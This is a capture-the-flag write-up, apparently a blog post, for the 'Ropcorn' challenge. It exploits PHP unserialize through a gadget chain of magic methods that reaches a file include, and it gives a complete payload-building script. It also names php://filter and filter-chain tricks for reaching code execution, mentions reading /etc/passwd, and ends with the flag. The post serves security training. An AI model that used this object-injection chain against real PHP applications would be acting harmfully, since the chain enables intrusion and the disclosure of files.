ICMTC CTF - Ropcorn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
$checker = false;
class ReadFileContent {
function __construct($check,$var) {
if ($check === "CERT") {
exit;
} else {
$this->check = $check;
$this->var = $var;
}
}
function __toString() {
return $this->check;
}
function __destruct() {
global $checker;
if ($this->check !== "CERT") {
exit;
} else {
if ($checker) {
include($this->var.".php");
}
}
}
}
class Helper {
function __wakeup() {
echo $this->msg;
}
function __toString() {
global $checker;
$checker = true;
return (new ReadFileContent($this->msg,"temp"))->check;
}
}
if(isset($_GET['src']))
highlight_file(__FILE__);
else
echo '<a href="?src=">Source</a>';
if(isset($_POST['data']))
unserialize(base64_decode($_POST['data']));
?>
Code analyses of ReadFileContent
class:
restrictions
- when constructing an object
check
must be not “CERT” to avoidexit
- when deconstructing
check
must be “CERT” to avoidexit
checker
global variable should be true, so we can include$this -> var
.php file to exploit LFI
Bypasses
- Create ReadFileContent object with check not equals to CERT
1
$readFileContent = new ReadFileContent("nun", "index"); # check property is not CERT to avoid exit in line 9
- we need to change
check
property after creating the object and serialize the object with the new value equals to “CERT”
1
$readFileContent -> check = "CERT"; # change the check property to CERT, after finishing the constructor
- the only way to change the
checker
global variable is to call__toString()
function in the Helper class like indicated here
1
2
3
4
5
function __toString() {
global $checker;
$checker = true; # will change the global varible to true
return (new ReadFileContent($this->msg,"temp"))->check;
}
Code analyses of Helper
class:
functions
- there are two function
__wakeup()
is a magic method that is automatically called when an object of a class is being unserialized.__toString()
is a magic method that allows you to define how an object should be converted to a string when it is treated as a string. It is automatically called when you try to use an object as a string, such as when you echo or concatenate it with another string.
Bypasses
__wakeup()
will be auto triggered when unserializing Helper object and call__toString()
function because it usesecho
like indicated here
1
2
3
function __wakeup() {
echo $this->msg;
}
our goal
our goal is to make two conditions true when our readFileConetent
object auto trigger _destruct()
function when before finishing the program to delete the object
- Success initializing of
readFileContent
object - changing the
check
property toCERT
so when_destruct()
is called the condition is true - we will create two helper objects the first will assign it’s
msg
property with outreadFileContent
object and the second will assign it’smsg
with the first helper object, then we will serialize the helper object that hold all the other objects so we have a serialized helper object, when unserializing this object the__wakeup()
function will be automatically triggered and will call__toString()
which will help us changingchecker
value to true to successfully include our LFI
Objects illustration
- We have illustrated this to make it easier to understand the serialized data
- another way to explain the object using JSON format to understand which object inside the other’s property
1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"helper1": {
"msg": {
"helper2": {
"msg": {
"readFileContent": {
"check": "CERT",
"var": "LFI payload"
}
}
}
}
}
}
edited-ropcorn.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
$checker = false;
class ReadFileContent {
function __construct($check,$var) {
if ($check === "CERT") {
echo "constrcut check == CERT ; exit\n";
exit;
} else {
$this->check = $check;
$this->var = $var;
}
}
function __toString() {
echo "readfilecontent __toString called\n";
return $this->check;
}
function __destruct() {
echo "\ndestructing\n";
global $checker;
if ($this->check !== "CERT") {
echo "ReadFileContent destructor this -> check not CERT; exit";
exit;
} else {
echo "almost done\n";
if ($checker) {
include($this->var.".php");
}
else{
echo "checker is not ture :(";
}
}
}
}
class Helper {
function __wakeup() {
echo "Helper wakeup called\n";
echo $this->msg;
}
function __toString() {
echo "helper to string called\n";
global $checker;
$checker = true;
return (new ReadFileContent($this->msg,"temp"))->check;
}
}
// Create ReaFileContent object
$readFileContent = new ReadFileContent("nun", "index"); # check property is not CERT to avoid exit in line 9
$readFileContent -> check = "CERT"; # change the check property to CERT, after finishing the constructor
// Create objects
$helper1 = new Helper();
$helper2 = new Helper();
$helper2 -> msg = $readFileContent;
$helper1 -> msg = $helper2;
// // Serialize the object
$serialized = serialize($helper1);
echo base64_encode($serialized) . "\n\n";
// Deserialize the object
$obj = unserialize($serialized); # Deserializing to test our payload, tesing local before on the server
?>
- this is the script after editing it to make it easier to understand, make sure you create
index.php
file containing a flag
exploiting LFI
- we have tried many techniques to bypass “.php” extension such as:
- null byte
- Path Truncation
- php filter wrapper
- but we couldn’t bypass .php extension
- the admin released a hint “the flag stored in the environment”, so we changed our mind to get an RCE instead of exploting LFI
- php filter wrapper worked, but we could read index.php using
php://filter/convert.base64-encode/resource=index
- we used php_filter_chain_generator to bypass extension
reading /etc/passwd
getting the flag
1
EGCERT{dfc7a7aff5420c1e4b2255b05ef57ef88c81c8de7556c64258c551f855633fdd}
- I hope you found this write-up enjoyable and helpful.
This post is licensed under CC BY 4.0 by the author.